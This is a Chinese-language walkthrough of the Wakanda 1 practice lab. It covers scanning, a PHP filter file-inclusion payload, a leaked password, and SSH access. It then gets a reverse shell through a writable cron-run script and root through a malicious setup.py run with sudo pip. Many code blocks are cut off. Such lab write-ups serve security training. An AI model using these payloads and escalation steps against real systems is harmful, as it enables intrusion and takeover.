Wakanda-1
Wakanda: 1
目标: Flags: There are three flags (flag1.txt, flag2.txt, root.txt)
提示: Follow your intuitions … and enumerate!
妙妙工具:
python -c 'import pty; pty.spawn("/bin/bash")'
¶环境配置
- kali: 192.168.56.5
- target: 192.168.56.101
¶信息收集
nmap扫描得到靶机ip和对应信息
nmap -sS 192.168.56.0/24 |
其实测试后发现3333是ssh端口, 可以利用ssh链接
http下手, 首先是网站下方有一个Made by@mamadou
的描述, 可能是用户名
然后是查看源码, 给了如下提示:
<!-- <a class="nav-link active" href="?lang=fr">Fr/a> --> |
尝试给网站传参?lang=fr
, 发现变成了法语网站, 那么这就是一个传参点, 等下看看有什么利用方法
目录扫描, 扫出来的访问都为空;
实在是没有其他的地方可以用了, 看看这个传参点能不能用
在测试了几类后, 猜测可能是文件包含; 因为当我访问192.168.56.101/fr.php
的时候, 返回的并不是Not Found而是空白界面, 说明存在一个fr.php
文件, 且传入?lang=fr
的时候被首页包含了
所以我们尝试伪协议读取文件, 注意包含时自带后缀:
/?lang=php://filter/convert.base64-encode/resource=index |
如果你觉得还要解码比较麻烦, 就试试这个, 可以直接拿到源码
curl http://192.168.247.152/?lang=php://filter/convert.base64-encode/resource=index | head -n 1 | base64 -d |
现在我们拿到了密码Niamey4Ever227!!!
, 不知道用户名, 比较简单的方法就是全部爬下来然后爆破
cewl 192.168.56.101 -w 1.txt |
得到账号密码: mamadou : Niamey4Ever227!!!
¶getshell
ssh登录靶机, 登录后发现是python终端; 这时候使用我们的妙妙工具
ssh mamadou@192.168.56.101 -p 3333 |
¶信息收集
# 系统信息 Linux Wakanda1 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64 GNU/Linux |
没什么好说的, 看看怎么提权
首先在kali搜索, 发现没有什么可以用的, 那还是老老实实找flag吧
searchsploit Debian 8 |
看看有没有其他用户(大于1000的就是用户):
cat /etc/passwd |
看看有没有什么特权文件:
# 查看特权文件, 没啥东西 |
那些44302的是我测试用的, 真没用别试了
flag1抓出来看看: Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc
看看自己的sudo -l
, 也没啥东西; 那就看看别的用户:
# devops用户可以访问的东西 |
看看flag2, 发现Permission denied, 切换用户肯定无法直接su, 看看有没有别的文件
/srv/.antivirus.py |
查看/srv/.antivirus.py
, 发现是一个写test文件进/tmp目录的py程序, 去看看这个test
发现这个文件的归属是devops, 而且时间也比较新, 不像是一直在这里的, 似乎是刚才生成的; 那可能就是有个文件一直在运行/srv/.antivirus.py
找找文件:
# 找关于antivirus的有关的有权限执行的文件 |
每300s运行一次/srv/.antivirus.py
, 我们对这个文件有写的权限, 那直接利用它进行反弹shell; 在文件后面
nano /srv/.antivirus.py |
#!/usr/bin/python |
等5min, 或者直接改那个文件, 让我们成功拿到devops的权限
抓flag2的内容: Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098
看看sudo -l
, 发现可以无需密码sudo执行/usr/bin/pip
在有些linux机器中, 某个用户拥有pip的sudo权限, 可以利用pip install进行本地提权;
在执行pip install时会调用
setup.py
,可以在创建恶意setup.py文件来达到任意命令执行
故技重施:
#!/usr/bin/python |
上传让靶机下载:
# kali |
这个命令用于用root权限安装或重新安装本地开发的Python包
现在去/root
拿到最后一个flag
¶附录
#!/usr/bin/python |